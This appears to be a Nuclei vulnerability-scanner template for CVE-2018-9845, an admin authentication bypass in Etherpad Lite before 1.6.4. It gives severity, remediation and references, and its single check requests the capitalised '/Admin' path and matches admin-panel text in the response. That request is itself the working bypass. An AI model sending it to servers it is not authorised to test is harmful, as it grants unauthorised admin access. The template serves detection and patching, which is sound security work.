id: CVE-2018-9845

info:
  name: Etherpad Lite <1.6.4 - Admin Authentication Bypass
  author: philippedelteil
  severity: critical
  description: Etherpad Lite before 1.6.4 is exploitable for admin access.
  impact: |
    An attacker can bypass the admin authentication and gain unauthorized access to the admin panel.
  remediation: |
    Upgrade to Etherpad Lite version 1.6.4 or later to fix the vulnerability.
  reference:
    - https://infosecwriteups.com/account-takeovers-believe-the-unbelievable-bb98a0c251a4
    - https://github.com/ether/etherpad-lite/commit/ffe24c3dd93efc73e0cbf924db9a0cc40be9511b
    - https://nvd.nist.gov/vuln/detail/CVE-2018-9845
    - https://github.com/ether/etherpad-lite/blob/develop/CHANGELOG.md
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-9845
    cwe-id: CWE-178
    epss-score: 0.13132
    epss-percentile: 0.95865
    cpe: cpe:2.3:a:etherpad:etherpad_lite:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: etherpad
    product: etherpad_lite
  tags: cve2018,cve,etherpad,auth-bypass,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Admin"

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Etherpad version"
          - "Plugin manager"
          - "Installed parts"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210086fb7e63d52a38f56c1c338d0a0aa4e7ebd3ae82749a2b1d6085aae2a27a9329022100c100e1fde989015a6348859b0701db6d0c715c3729143d2a1841baa213b658b4:922c64590222798bb761d5b6d8e72950